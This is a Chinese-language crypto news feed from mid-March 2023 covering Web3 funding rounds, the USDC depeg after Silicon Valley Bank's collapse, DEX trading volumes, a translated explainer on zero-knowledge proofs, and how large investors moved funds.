Web3足球游戏公司Matchday完成2100万美元种子轮融资，梅西旗下基金Play Time参投 Web3游戏互动娱乐初创公司Matchday宣布完成2100万美元种子轮融资，梅西旗下基金Play Time参投。Matchday将 Web3 和移动游戏结合起来，创建一套由FIFA授权的足球游戏，Matchday首席游戏官Sebastien de Halleux表示相信真正的所有权对于为游戏玩家创造一系列新体验非常重要，希望将数亿球迷吸引到Web3，该公司预计第一款游戏将在第二季度发布。 Web3游戏工作室Redemption Games完成700万美元融资，Orange DAO等参投 Web3游戏工作室Redemption Games宣布完成700万美元新一轮融资，Play Ventures领投，Bitkraft、Merit Circle DAO、Orange DAO、以及一批游戏行业人士参投。Redemption Games是一家从移动游戏开发巨头AppLovin公司剥离出的独立工作室，目前正在利用区块链技术、数字藏品和人工智能解决方案开发能够推向大众市场的游戏，并且将在游戏中加入能在交易所交易的数字资产等Web3元素。 NFT交易市场Coresky完成600万美元Pre-Seed轮融资 基于社区的NFT交易市场Coresky宣布完成600万美元Pre-Seed轮融资，PAYSON LEE PRIVATE FOUNDATION领投。Coresky设计了一种全新商业模式，可通过Launchpad经济效用来驱动NFT交易。用户在Coresky Marketplace交易NFT可获得“Ticket”，然后使用Ticket能从Launchpad提供的一级市场资产包中提取NFT，Coresky会根据用户的链上交易行为设计社区会员体系，每一层都有自己的Corecard身份，不同等级的Corecard会定期收到不同数量的平台Ticket。 Solana生态NFT交易平台Tensor完成300万美元融资 专注于 Solana 的 NFT 交易平台完成 300 万美元融资，Placeholder 领投，Solana Ventures、Alliance DAO、Big Brain Holdings 和 Solana 联合创始人 Anatoly Yakovenko 和 Raj Gokal 等参投。 以太坊扩容项目Scroll以18亿美元估值完成5000万美元融资 使用zk-rollups技术的以太坊第2层网络Scroll在新一轮融资中筹集了5000万美元。投资者包括Polychain Capital、红杉中国、OKX Ventures、Bain Capital Crypto、Moore Capital Management、Variant Fund、Newman Capital、IOSG Ventures和Qiming Venture Partners。Scroll拒绝就该轮融资的估值和结构发表评论，但一位直接了解此事的消息人士告诉The Block，该轮融资使 Scroll 的估值达到 18 亿美元。 云基础设施创企Vantage完成2100万美元A轮融资，a16z参投 云基础设施初创公司Vantage宣布完成2100万美元的A轮融资，由Scale Venture Partners领投，Andreessen Horowitz（a16z）、Harpoon Ventures、CloudFlare首席执行官兼联合创始人Matthew Prince和Glenn Solomon参投。Vantage联合创始人兼首席执行官Ben Schaechter表示，该公司现在帮助其300多家客户管理每年超过10亿美元的云成本。这些客户包括Square、NASA、BuzzFeed、PBS、Ripple、PlanetScale和Barstool Sports等，目前客户总共将10000多个基础设施帐户连接到Vantage。 加密薪酬合规公司Toku完成2000万美元融资， Blockchain Capital等参投 加密薪酬合规发放公司Toku完成2000万美元融资， Blockchain Capital、 Orrick、Alchemy、GMJP、OrangeDAO、Reverie、Quantstamp、Next Web Capital、Protocol Labs创始人Juan Benet、Cameron、Tyler Winklevoss等参投。该公司旨在帮助加密公司处理与代币相关的薪酬发放的税法工作，它声称已经在数十个国家创建了一个系统来跟踪与加密相关的税法和法规，目前拥有30家客户，包括Filecoin Foundation、Gitcoin等。 ZK技术公司Proven完成1580万美元种子轮融资，Framework Ventures领投 提供零知识证明技术以使加密货币公司能够证明偿付能力的公司 Proven 完成 1580 万美元种子轮融资，由 Framework Ventures 领投，Balaji Srinivasan、Roger Chen 和 Ada Yeo 等天使投资人参投。Proven 可能希望它可以提供一种替代方法来验证储备证明，并且到目前为止，种子阶段的初创公司将 Coinlist 和 Bitso 等公司视为客户。它希望将交易所、资产管理者和托管人作为潜在客户，并将利用这笔资金扩大其开发团队。 Web3开发工具提供商Cubist完成700万美元种子轮融资，Polychain Capital领投 Web3 开发工具提供商 Cubist 在由 Polychain Capital 领投的种子轮融资中获得了 700 万美元，Dao5、Polygon、Amplify Partners 和 Axelar 也参与了此次融资。该轮融资将用于招聘以及扩展和宣传 SDK。 Web3初创公司Tweed完成400万美元种子轮融资，Accel领投 Web3即插即用白标钱包和支付解决方案Tweed完成400万美元种子轮融资，Accel领投，Communitas Capital Partners、Zero Knowledge Ventures，Sorare首席执行官Nicolas Julia、前Venmo首席运营官Mike Vaughan、前摩根大通高管Ameet Patel和前SunGard首席执行官Cristóbal Conde等天使投资人参投。 新加坡科技创企The GrowHub完成300万美元pre-B轮融资 总部位于新加坡的供应链信任和可追溯性技术提供商 GrowHub 周四宣布，已完成 300 万美元的 Pre-B 轮融资，投资者包括该公司的首席执行官和创始人 Lester Chan。新资金将用于继续构建 The GrowHub 的技术产品，并在其进一步扩展到亚太地区时加强其技术能力。GrowHub能让生产者和企业（比如食品生产公司）使用其专属Web3、NFT和二维码解决方案来追踪消费者行为和模式，还通过其SaaS平台促进透明且可靠的碳信用追踪。 加密资管公司Aisot Technologies完成约193万美元融资，Haute Capital Partners领投 基于 AI 的加密资管公司 Aisot Technologies 完成 180 万瑞士法郎（约合 193.52 万美元）种子轮融资，由 Haute Capital Partners 领投，Swiss ICT Investor Club (SICTIC) 和一批天使投资人参投，截至目前该公司融资总金额达到 210 万瑞士法郎（约合 225.77 万美元）。Aisot Technologies 主要帮助用户在股票和加密市场的投资组合提供基于人工智能的分析服务，利用机器学习、数据科学和定量分析让投资者快速适应不断变化的市场条件和投资需求。 区块链风险解决方案Over-C完成100万英镑股权融资，Ayre Ventures参投 区块链风险解决方案 Over-C 宣布完成 100 万英镑股权融资，Ayre Ventures 参投。Over-C 通过区块链技术提供可扩展、支持单点故障、时间戳、隐私的风险解决方案。该公司还使用机器学习和物联网提供实时运营风险数据和分析以预测和预防未来潜在发生的风险事件。目前其合作伙伴包括日立（Hitachi）、ScotRail、Eli Lilly、Savills、Munster Rugby 和 Belfast Airport。 Web3艺术平台Wild完成由Matrix Partners领投的700万美元融资 Web3 艺术平台 Wild 筹集了由 Matrix Partners 领投的 700 万美元种子资金。女演员格温妮丝·帕特洛 (Gwyneth Paltrow)、领英 (LinkedIn) 联合创始人里德·霍夫曼 (Reid Hoffman) 和 Twitch 联合创始人凯文·林 (Kevin Lin) 也参加了去年年底结束的这一轮融资。这家初创公司将利用这笔资金进一步扩大其驻地并投资于基础设施以为其体验艺术提供动力。无需连接钱包，即可通过浏览器内体验访问 Wild 的许多收藏。 Web3电子邮箱解决方案EtherMail完成400万美元Pre-A轮融资 Web3 电子邮件解决方案 EtherMail 完成 400 万美元 Pre-A 轮融资，Tim Draper 和其风险投资公司 Draper Associates 领投，MS&AD Ventures 等参投。Tim Draper 还将加入 EtherMail 的顾问委员会。 TON生态Launchpad平台Tonstarter完成150万美元种子轮融资 TON 生态 Launchpad 平台 Tonstarter 完成 150 万美元种子轮融资，投资方包括 Kingsway Capital、Gate.io 以及 DWF Labs 等。Tonstarter 由 TON 生态系统中的风险投资机构 First Stage Labs 孵化。Tonstarter 是 TON 上的主要筹款平台，将支持 TON 生态系统中的广泛项目，包括去中心化金融 (DeFi)、去中心化交易所 (DEX)、非托管钱包、借贷协议、游戏和元宇宙。 区块链时尚透明度平台tex.tracer完成150万欧元种子轮融资 区块链时尚透明度平台tex.tracer宣布完成150万欧元种子轮融资，ROM InWest、HearstLab、Joanna Invests、以及一批天使投资人参投。tex.tracer使用区块链技术、时间和地理位置标记、以及点对点审核功能从主要来源收集可靠的验证数据，供应链合作伙伴可以放心上传公司和产品数据，确保企业遵守欧洲EPR、CSRD 和数字产品护照等新规则和法规，其客户包括 MUD Jeans、State of Art、Livera 和 Fabienne Chapot等。 区块链营销公司Verofax开启75万美元融资，500 Startups等参投 区块链营销公司 Verofax 将在巴林中央银行许可和监管的 Beban 众筹平台上完成 75 万美元融资。500 Startups、Dubai Angel Investors、Dubai Silicon Oasis、Benson Oak Ventures、Privity FZ LLE 和 Wami Capital 等参投。投资者可以通过 Beban 众筹平台参与 Verofax 的融资，最低投资 100 美元。Verofax 由阿联酋的政府资助项目 MBRIF 和 Hub71 孵化，总部位于阿联酋，在欧洲、北美、亚洲、非洲和中东运营。 加密税务创企Divly完成40万美元融资，DHS Venture Partners等参投 据美通社报道，加密税务创企 Divly 宣布完成 40 万美元融资。投资方包括 DHS Venture Partners、Greens Ventures 和 YEoS Ventures。该公司的目标是降低加密税收申报的门槛。自 2022 年 3 月起，Divly 与芬兰最大的虚拟货币服务提供商 Coinmotion 和瑞典最大的加密货币经纪商 Safello 建立了合作关系，拥有约 30 万用户。去年，Divly 还开始与 BYDFi 、 Coingecko 合作。 Web3超级应用Kresus完成2500万美元A轮融资，Liberty City Ventures领投 连续创业者、前美国驻奥地利大使 Trevor Traina 为一款名为 Kresus 的 web3 超级应用筹集了 2500 万美元。A 轮融资由 Liberty City Ventures 领投。其他支持者包括 Franklin Templeton、JetBlue Ventures 和 Salesforces 的 Marc Benioff。这些资金将用于继续构建该应用程序，并促进招聘工作和关键合作伙伴关系。Kresus 的网站将这款尚未推出的应用描述为“交易平台、钱包和入门指南”的结合，该公司表示这笔资金将用于继续开发该应用程序，并支持招聘工作和构建关键合作伙伴关系。 比特币投资应用Relai完成450万美元融资 比特币投资应用Relai宣布完成450万美元新一轮融资，ego death capital领投，Timechain、Cabrit Capital、Lightning Ventures、Redalpine、Fulgur Ventures参投。自2020年首次进行种子轮融资以来，Relai迄今融资总金额已达到1180万美元。Relai平台允许散户投资者买卖比特币且无需进行额外注册、验证，也没有存款限制，该平台还支持投资者通过非托管比特币钱包完全控制自己的资金。Relai计划利用新资金升级到比特币闪电网络并推出白标产品。 加密量化交易公司Spield Algorithm完成新一轮融资，BitValue参投 加密量化交易公司Spield Algorithm宣布完成新一轮融资，Web3投资机构BitValue参投，具体投资金额暂未披露。Spield Algorithm核心团队目前管理价值30亿美元的加密资产，同时还为部分加密公司和CEX担任流动性提供者的角色，其当前资产管理规模超过100亿美元。BitValue对Spield Algorithm的投资也将推动AI量化交易和分析在Web3领域中的应用。  ( 8 min )
    哪些DEX在“USDC危机”中大赚了一笔？
    作者 | Ambcrypto Suzuki Shillsalot 编译 | PANews 硅谷银行倒闭导致美元稳定币USDC上周末出现脱锚并一度跌至0.87美元低点，FUD情绪也在加密市场蔓延，不过这一黑天鹅事件造成的影响似乎并没有想象中的那么大，DEX（去中心化交易所）的交易活动和费用收入甚至出现了指数级增长。 根据DeFiLlama数据显示，3月11日，DEX总交易额飙升至151.2亿美元，创下过去四个月新高，周增长率超过100%，其中Uniswap收取的费用收入也达到了自2022年5月10日以来的最高值，聚合DEX和中心化交易所 (CEX) 交易额比例（该指标反映了DEX的市场主导地位）上升至 26.66%。 Uniswap、Curve Finance、SushiSwap成为市场不确定期间的“大赢家” 对于加密社区而言，中心化实体的衰落有利于DeFi发展，尤其是在FTX崩溃后，越来越多用户选择放弃中心化交易所而开始探索自我托管，最近因硅谷银行倒闭导致的“USDC危机”更是加速了这一趋势——数据显示，Uniswap、Curve Finance、SushiSwap这些DEX在上周末取得了令人瞩目的增长。 首先，作为一个专为稳定币兑换而设计的DEX，Curve Finance过去24小时内创下了接近80亿美元的最高单日交易额记录。另据CryptoFees数据显示，由于交易量激增，Curve平台上收取的费用收入也跃升至952,000美元，创下过去四个月以来的新高。 其次是Uniswap，Uniswap也是当前加密市场中交易量最大的DEX之一，USDC脱锚后的24小时内交易额飙升至34.5亿美元，创下过去四个月以来的最佳表现。截至本文撰写时，Uniswap用户支付的交易费用也升至87.5亿美元，触及过去10个月以来高点。 另一个受欢迎的DEX是SushiSwap，USDC危机期间该平台也见证了活跃度激增并成为以太坊巨鲸使用最多的智能合约之一。 不过根据DeFiLlama数据，此前一周SushiSwap的日均交易额并未出现较大幅度增长，本文撰写时过去24小时交易额为5248万美元，反而下降了76.76%。 未来属于DEX和DeFi？ 在过去3-4年里，DEX取得了突飞猛进的发展，Token Terminal披露数据显示，DEX平台的活跃开发者数量一直在稳步增长，说明支持DeFi未来的基本面向好。 另一方面，随着美联储于北京时间3月13日凌晨宣布新的紧急银行定期融资计划并支持硅谷银行储户于当地时间周一动用资金，USDC美元锚定价格出现反弹并上涨到0.995美元区间，已基本恢复美元锚定，其市值也重返400亿美元上方。 相信在这次危机之后，加密社区将进一步了解到中心化实体的风险，未来势必将会更多地选择DEX和DeFi。  ( 4 min )
    PA图说 | 一图掌握Polygon上NFT一周关键数据（03.06—03.12）
    PANews APP 2.0 全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 4 min )
    Cross River Bank成为Circle新的银行合作伙伴
    PANews 3月13日消息，USDC稳定币发行商Circle在公告中表示：“作为我们扩大银行合作伙伴关系承诺的一部分，Circle宣布通过Cross River Bank为客户自动铸造和赎回USDC，自2023年3月13日星期一生效。扩大的关系还包括通过纽约梅隆银行赎回USDC。” 公告再次强调，硅谷银行持有的33亿美元USDC储备金存款，约占USDC总准备金的 8%，将在明天早上美国银行开门时全部可用。Signature Bank没有持有USDC现金储备。作为受监管的支付代币，USDC仍可与美元1:1兑换。 此前今日早些时候消息，Circle CEO表示，将把剩余硅谷银行现金转至纽约梅隆银行，并引入新的银行合作伙伴。  ( 4 min )
    PA图说 | 一图掌握BNBChain上NFT一周关键数据（03.06—03.12）
    PANews APP 2.0 全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 4 min )
    Bitstamp：正常运营不受Signature Bank破产影响
    PANews 3月13日消息，加密交易所Bitstamp推特发文称，尽管Signature Bank不幸破产，但我们的正常运营不受影响。  ( 4 min )
    被誉为“终极解决方案”的ZK到底是什么？
    原文：《Are zero-knowledge proofs (ZKPs) the future of blockchain?》by ALTAN TUTAR, SAMUEL THOMAS, LINDSEY LI, DIVESH PUNJABI, ETHAN KURZWEIL - Bessemer Venture Partners  编译：Cecilia, bfrenz DAO 想象下一代安全的互联网，从登录时刻开始，你的个人信息就受到保护。在这个新的互联网中，你的数据将留在你自己的设备内，你可以完全掌控自己的信息，消除了被盗或欺诈的风险和恐惧。我们认为，一个将安全和隐私作为优先考虑的未来互联网基础设施可能比预期的更快到来。 当今的网络基础设施旨在从每次交互中提取数据并存储在集中式数据存储中。公司随后利用这些数据分析用户的在线行为，并将定位广告以获得利润，对用户的价值很小。当然，数据共享对于许多互联网应用程序的功能也是必不可少的。从搜索引擎到社交媒体平台，再到电子商务网站，数据共享使我们日常生活中所依赖的各种在线活动成为可能。 但是许多互联网用户越来越希望拥有一个私密的互联网。这需要新的基础设施，在这个基础设施中，用户不会默认与应用程序共享其数据，但仍然可以从网络驱动的在线应用程序中获益。这可以通过在客户端执行计算，然后向中央实体或计算机证明来实现。零知识证明（ZKPs）和协议是成为新互联网基础设施的基础层的领先候选人，其中隐私是默认设置。 这不仅仅是一场未来的幻想；该领域的巨大潜力正在聚积。Steel DAO 的新成立的加密货币研究部门一直在追踪该领域，并在 2022 年见证了超过 7.25 亿美元的资金流向专门构建零知识证明解决方案的“纯玩家”公司。其中最大的两轮融资是 Aleo 和 Matter Labs 的 2 亿美元融资，其次是 Aztec 的 1 亿美元融资。其他公司还包括 Scroll、RiscZero、Elusiv 和 Mina Protocol。 这篇关于 ZK 的研究来自于美国著名投资机构 Bessmer Venture Partners。本文将用便于理解的方式解释什么是 ZKPs 和 zkEVMs，并重点探讨该领域内的三个主要创新类别：隐私、可扩展性和新型应用，以及它们的潜力和需要克服的障碍。 什么是零知识证明？ 零知识证明（ZKP）是一种验证陈述或计算的方法，过程中不揭示有关该陈述本身的任何信息。例如，如果一个销售酒精饮料给消费者的网站想要验证消费者是否年满 21 岁， ZKP 可以回答“是”或“否”的问题，而不会透露消费者的实际年龄或任何其他身份信息。通常，ZKP 涉及双方：证明者 (prover)和验证者 (verifier)。证明者负责证明声明，而验证者负责验证声明。这些证明通过需要进行大量计算的数学方程来解决，最初由麻省理工学院的研究人员 Shafi Goldwasser和 Silvio Micali 以及多伦多大学的 Charles Rackoff 研究。 虽然这些证明本质上是技术性的，但它们能够解决的用例实际上非常普遍。举个例子，比如我们正在申请贷款。在今天的现实情况下，申请人需要向银行披露自己的资金证明、信用评分以及其他相关信息来证明自己是否有资格获得贷款。申请人需要信任银行不会滥用敏感和个人信息。但是使用ZKP，人们可以在不披露任何敏感数据的情况下申请贷款。这具有潜在的能力，可以从根本上改变我们处理真实和虚拟世界中的隐私的方式，扩展现有的基础链，并推进其他（目前还属于小众）应用，比如去中心化人工智能。 我们相信在未来几年推广 ZKP 需要以下三个因素的推动： ‍ 什么是 zkEVM？为什么值得关注？ zkEVM 是与 EVM 兼容的虚拟机，可以运行 ZKP 计算。以太坊虚拟机（EVM）是部署在以太坊上的智能合约的运行环境。换句话说，ZKP 现在可以与以太坊上的智能合约进行交互，从而使得可以开发更广泛的支持隐私的用例，包括 ZK-rollups（零知识汇总协议）。Rollups 是一种扩容解决方案，可以在链外处理多个交易，然后批量打包到以太坊上的一个交易中，从而减少处理交易的成本和时间。在此之前，ZKP 不能与以太坊上的智能合约兼容，必须为特定的应用程序（例如，支付、代币交换）开发。在本文中，我们将更详细地研究 ZKP 在隐私和扩展性方面的应用。 零知识证明（ZKPs）的一个重要数学特性是验证者可以以零知识的方式验证陈述的正确性。如今的应用程序需要从本地计算机传输数据到中央服务器以进行计算。尽管 ZKPs 目前主要在加密社区中受到欢迎，但 ZKPs 的应用远不止区块链这一块领域。实际上，大型科技公司已经加入了这个领域，声明了大量与 ZKPs 相关的专利。自 2010 年至 2021 年，阿里巴巴发放了 1111 项 ZKP 专利。腾讯（ 382 项专利）和 IBM（ 225 项专利）等其他关键参与者紧随其后。阿里巴巴和腾讯特别专注于 ZKPs 的金融服务用例，因为它们可以成为许多银行流程的核心基础设施，包括客户身份验证、贷款处理、开立投资账户等。我们相信，在 ZKP 工具和基础设施的创新和变革的推动下，将以三种主要方式影响我们与具有虚拟和现实工作流的应用程序的交互。 1）账户登录 在今天，所有的应用程序都会通过储存密码来验证用户的身份。虽然使用零知识证明的安全远程密码协议（SRPP）已经有一段时间了，但我们还没有看到有哪个创业公司利用这项技术来与 Okta 竞争。这是因为网页端应用程序是用 JavaScript 编写的，由于开发人员工具不成熟，编写 SRPP 在网页端应用程序上很困难。我们相信通过使用零知识证明，可以重新设计广泛使用的应用程序的身份验证流程，从而向应用程序证明你拥有你的账户密码。 2）付款 应用程序今天的电子商务网站积累了许多用户财务数据，可以用在一些不利于客户的地方。虽然听起来问题不大，但我们认为有空间构建标准化的付款 API ，不用透露用户的数据，而是以完全零知识的方式促进支付。类似于 Aztec 这样的隐私第一的第二层扩展解决方案，但用于常规的互联网支付。 3）线上（虚拟）及现实世界中的身份认证环节 在几乎所有的线上和现实世界的交互中，用户都需要验证他们的身份。例如，申请签证时需要向第三方提供银行账单、护照和其他敏感数据。如果使用零知识证明，当你申请签证时，它只会向相关机构发出“是”或“否”的答复，告诉他们你是否拥有所需文件。同样地，在网上购买加密货币时，我们需要向第三方发送我们的“护照”和其他敏感文件，以进行KYC / AML检查。像 Notebook Labs 这样的公司正在使用零知识证明来防止可疑的不良行为者与 DeFi 协议进行交互。这个公司通过向遵守规定的用户发放通过 ZKP 验证的代币，来让其他协议知道这些用户是遵守规定的，进而省去了查看用户的文件的步骤。 期待看到区块链领域之外的零知识证明用例，尽管我们认识到，正是由于区块链的存在，它们可以独特地扩展。此外，设计上，区块链是匿名的，但它们并不具有隐私保护，其中所有交易都是完全透明的。所以我们认为需要像 Aleo 这样的隐私保护区块链来解决这个问题。 除了用户对隐私的不断追求之外，还需要解决可扩展性问题。像以太坊这样的 Layer 1 面临可扩展性“三难情况”，必须在可扩展性、安全性和去中心化之间做出权衡。比如，以太坊的愿景是尽可能保持安全和去中心化，那代价可能就是舍弃可扩展性，但同时，以太坊使用量日益增长，后果就是交易变慢和高昂的费用。为此，零知识证明也可用于提高可扩展性。 区块链（比如以太坊）的可扩展性可以通过两种方式实现：一是增加区块的交易容量，但这会带来一些风险，例如使验证变得更加困难；二是采用不同的方法与其交互，如将交易批量处理并作为单个交易提交到主网络。实施这种方法的以太坊上层网络称为 L2 扩容解决方案。它们允许开发人员构建生活在以太坊生态系统中的应用程序，以利用其安全性、去中心化和网络效应，但同时提高了交易吞吐量并降低了交易成本。 这些解决方案也被称为 rollups ，分为两种形式：Optimistic rollups 和 zero-knowledge （ ZK ） rollups 。Optimistic rollups 是“欺诈证明 ( fraud proofs )”，这意味着批量交易在 7 天的挑战期内被认为是有效的，在此期间任何人都可以对基础交易的有效性提出异议。另一方面，ZK Rollups 不默认假定交易有效，而是作为“有效性证明 ( validity proofs )”，验证基础交易的有效性。它们依赖于自己的数学属性——soundness。soundness 是指数学保证，如果陈述为假，除了一些小概率之外，没有欺骗证明者能够说服一个诚实的验证者其为真。这是通过经过深入研究的密码学假设和可验证计算来保证的，这使得证明者很难通过恶意方式（如更改输入）黑入系统。 来源：https://vitalik.ca/general/2021/01/05/rollup.html ZK-rollup 可以更快地处理交易，并且不需要像 optimistic rollup 那样的 7 天挑战期。因此，用户不必等待 7 天才能提取他们的资金。尽管如此，optimistic rollup 目前在 L2 扩展市场上占据着大约 80％ 的总锁定价值（TVL）。历史上，零知识证明与智能合约不兼容。因此，使用 ZK-rollup 构建的应用程序只能适用于有限的、特定于应用程序的用例，如二层去中心化交易所 dYdX 和用于支付和交易的协议 Loopring。因此，开发人员选择了乐观 rollup，因为它们与通用应用程序兼容。 如今，随着对 zkEVM 的改进，这种历史限制正在得到解决。现在，通用应用程序可以利用 ZK-rollup 的安全性和效率，因为它们与 EVM 兼容，可以与智能合约进行交互。因此，我们认为，在未来几年内，ZK-rollup 将有望接管 L2 扩展市场，特别是由于正在构建基础架构工具来改进使用 zkEVMs 开发通用应用程序的体验，如 StarkWare、Polygon、MatterLabs 和 Scroll。 话虽如此，zkEVMs 仍然相对较新，并且正在使用不同程度的以太坊兼容性和性能构建。总体而言，兼容性的最高级别是 (1) 与以太坊等效，而最低级别是 (4)，在这种环境下，智能合约代码（例如 Solidity）被编译为 ZK-friendly 的语言。例如，像以太坊的研究部门 Privacy＆Scaling Exploration 这样正在追求最高级别兼容性的团队，其代价是性能降低，因为它们的目的并不一定是在不久的将来投入生产。 相反，像 StarkWare 这样的公司已经部署了 StarkNet，这被认为是最完整和性能最高的 zkEVM 之一，但需要使用一种新的本地编程语言 Cairo，以支持在 EVM 上的 ZKP 计算。因此，它需要开发人员学习如何在自定义环境中执行智能合约代码，这是采用的一个挑战。Polygon 的 Hermez、Matter Labs 的 zkSync2.0 和 Scroll 等项目正在寻求解决这些摩擦领域以扩大开发人员的使用。 来源：https://vitalik.ca/general/2021/01/05/rollup.html 除了进一步改进 zkEVMs 外， ZKP 的大范围采用还面临其他挑战，包括提供更好的基础设施和降低理解和使用它们的复杂性。 在硬件方面，开发者需要改善图形处理单元 （GPU）的并行处理能力或设计特定的硬件，例如应用特定集成电路（ASIC），以继续减少证明语句所需的时间和资源。 尽管在数学算法方面已经取得了许多进展，例如引入了 PLONK，但我们认为新算法将继续出现，最终实现更快、更好的解决方案。此外，如果我们想让这个领域真正起飞，还需要构建更多的抽象层。尽管这已经吸引了许多开发者和用户的关注，但总的来说，它仍然是一个相当复杂的领域，需要付出较大的精力才能够构建和交互。 最后，鉴于零知识证明的本质复杂性，监管机构甚至用户可能会谨慎对待——例如最近对 Tornado Cash 的禁令加强了一种错误的观念，即所有寻求匿名性的人都是恶意行为者。 尽管存在困难，我们很高兴看到公司以不同创新的方式克服这些障碍。 虽然 ZKP 技术早在 1989 年就被提出，但密码学的普及推动了创新，过去几年中，水平应用案例和应用程序显著增加。例如，去中心化存储提供商 Filecoin 使用 PoRep 或复制证明来验证存储提供商确实存储了他们声称存储的数据。通过使用 ZKP 技术，验证者可以更快地验证这些信息，而不会损害安全性、信任或信心。 另一个令人兴奋的应用领域是游戏，像 Dark Forest 这样的链上游戏正在引领基于 ZKP 的创新。其中一个核心特点是博弈论家所谓的“不完全信息”，即大部分虚拟宇宙都是隐藏的，除非玩家探索它。另一个关键特点是玩家可以通过向区块链发送证明来探索这个宇宙，证明移动是有效的，但不会揭示他们在宇宙中的坐标。 最后，Chainlink 和 Teller 正在 build 为“未充足抵押贷款”进行概念验证。一句话解释就是，Teller 证明用户的离线银行账户余额超过所请求的贷款金额指定的动态阈值，而不实际揭示他们的银行账户详细信息。 零知识证明领域的不完全市场图来源：BVP ZKP 未来可期 尽管在这个领域存在许多挑战，但加密基础设施将继续演进和发展。开发活动仍然强劲，相关公司继续投资于后端和面向消费者的加密机会，这一切让人感觉 ZKP 的“春天”已经近在眼前。我们对 ZKP 的未来感到兴奋，因为它似乎是建立更去中心化的网络的关键技术里程碑。尽管目前仍存在一些障碍，还没有被大规模采用，但 ZKP 正在推动互联网隐私至上的重建，并推进其他区块链应用和用例的采用。  ( 6 min )
    Kraken：对稳定币汇率没有重大风险敞口，美元资金不受影响
    PANews 3月13日消息，加密货币交易所Kraken推特发文称，Kraken的美元资金不受影响。然而最近发生的事件应该敲响警钟，提醒应该加强多元化和自托管。Kraken对稳定币汇率没有重大风险敞口，因为我们不认为稳定币可以与法币互换。来自Operation Chokepoint 2.0威胁依然存在。（“Operation Chokepoint 2.0”指代在过去几个月内，美国的所有金融监管机构都在攻击加密业务）  ( 4 min )
    赵长鹏：银行应使用Merkle树来做储备金证明
    PANews 3月13日消息，币安首席执行官赵长鹏发推文称：“这些银行（硅谷银行、Signature和Silvergate等银行）都经过审计，对吧？我有个疯狂的想法：也许银行应该使用Merkle树来做储备金证明？就算不是100%，我们也应该知道比例吧。银行需要透明度。” CryptoQuant首席执行官Ki Young Ju对此评论称：“不知道美联储和央行是否会在CBDC推出后进行储备证明。如果不，他们就是伪君子。”  ( 4 min )
    英国天空新闻：汇丰和摩根大通有意收购硅谷银行英国子公司
    PANews 3月13日消息，据路透社报道，英国天空新闻(Sky News)的一名记者周日在推特发文称，汇丰控股(HSBC Holdings)已成为硅谷银行英国子公司(Silicon Valley Bank UK)的潜在竞购者。文中称：“交易尚未确定，但据我所知，汇丰和摩根大通都在探索收购这家陷入困境的银行”。据金融时报此前报道，英国央行周五晚些时候宣布，它计划使用其银行破产程序来解决硅谷银行英国子公司的问题。一家总部位于阿拉伯联合酋长国的公司已经表示了兴趣。  ( 4 min )
    面对“USDC脱锚危机”，知名大户们是如何操作的？
    来源：链上分析师@Lookonchain 编译：Moni 受到硅谷银行破产影响，美元稳定币 USDC 本周末开始脱锚并一度跌至 0.87 美元低点（今早已恢复至 0.96 美元上方）。在此过程中有些人选择恐慌抛售，也有人探底买入。下面就让我们分析一下链上数据，看看在这场“USDC 危机”过程中机构投资者是如何应对 USDC 脱锚的吧。 1、Jump Trading Jump Trading 向 Circle 存入 1.6968 亿枚 USDC； 2、Wintermute Trading Wintermute Trading 向 Circle 存入 270 万枚 USDC，向 Coinbase 存入 2500 万枚 USDC； 3、Genesis Trading Genesis Trading 向 Coinbase 存入 2500 万枚 USDC； 4、BlockTower Capital BlockTower Capital 向 Coinbase 存入 996 万枚 USDC； 5、Vitalik.eth 以太坊联合创始人 “V 神” Vitalik Buterin 将 500 枚 ETH 兑换成 400,359 枚 USDC 和 27,179 枚 DAI； 6、Poap.xyz 创始人 @worthalter @worthalter 将 893,439 枚 USDT 和 106,766 枚 BUSD 兑换成 1,081,909 枚 USDC； 7、孙宇晨 Justin Sun 通过三个地址将 1.27 亿枚 USDC 兑换成 1.2696 亿枚 DAI。值得一提的是，在本次“USDC 危机”爆发之前，孙宇晨因 HT 市场波动所导致杠杆穿仓损失以及少数用户杠杆清算所造成盘面波动影响宣布将出资 1 亿美元成立流动性基金，并将1 亿枚 USDC 转至 Huobi。 8、Kyber Ventures Kyber Ventures 将 1634 万枚 USDC 兑换为 1634 万枚 USDP； 9、Chain Capital Chain Capital 将 722 万枚 USDC 兑换为 479 万枚 USDP、210 万枚 DAI、以及 42,696 枚 USDT； 10、Spartan Group Spartan Group 将 250 万枚 USDC 兑换为 2,243,537 枚 USDT； 11、Signum Capital Signum Capital 将 2,729,260 枚 USDC 兑换成 2,531,743 枚 USDT； 12、Infinity Ventures Crypto Infinity Ventures Crypto 将 218 万枚 USDC 兑换为 1,277 枚 ETH，约合 184 万美元； 13、LD Capital LD Capital 将 100 万枚 USDC 兑换为 229,956 枚 USDT 和 488 枚 ETH（约合 703,162 美元）； 14、LedgerPrime LedgerPrime 将 616,304 枚 USDC 兑换为 591,033 枚 USDP； 15、Dokia Capital DokiaCapital 将 224,821 枚 USDC 兑换为 137.8 枚 ETH（约合 198,432 美元）； 16、Alpha Citadel Ventures Alpha Citadel Ventures 将 236,903 枚 USDC 兑换为 231,038 枚 USDT。 注：IOSG Ventures 表示，原图中统计的地址非其账户 概括来说，Jump Trading、Wintermute Trading、Genesis Trading 和 BlockTower Capital 在周末银行休市时通过 Circle 和 Coinbase 将 USDC 兑换成了美元现金，而 V 神 Poap.xyz 创始人 @worthalter 和 Taureon Capital 则在底部买入了 USDC。 另一方面，孙宇晨、Kyber Ventures、Chain Capital、Hashed、Spartan Group、Signum Capital、Infinity Ventures Crypto、LD Capital、LedgerPrime、Dokia capital 和 Alpha Citadel Ventures 则将 USDC 兑换成了 DAI、USDT、USDP、BUSD 和 ETH 等其他加密货币尝试套利。  ( 6 min )
    First Republic Bank：未使用的流动性资金超过700亿美元，财务状况非常稳健
    PANews 3月13日消息，据Business Wire报道，First Republic Bank表示，通过从美联储和摩根大通获得额外的流动性，其财务状况得到进一步增强和多样化。目前所有未使用的流动性资金超过700亿美元，且可以通过美联储今天宣布的“银行定期融资计划“获得更多流动性。First Republic Bank创始人Jim Herbert和首席执行官Mike Roffler表示，该银行的资本和流动性状况非常强劲，其资本仍然远远高于监管门槛。据此前消息，First Republic Bank从3月12日开始限制资金汇出的电汇交易，同时还表示将完全停止处理电汇交易。据推特用户@AP_Abacus透露，First Republic Bank濒临破产，员工正在做最坏的打算。  ( 4 min )
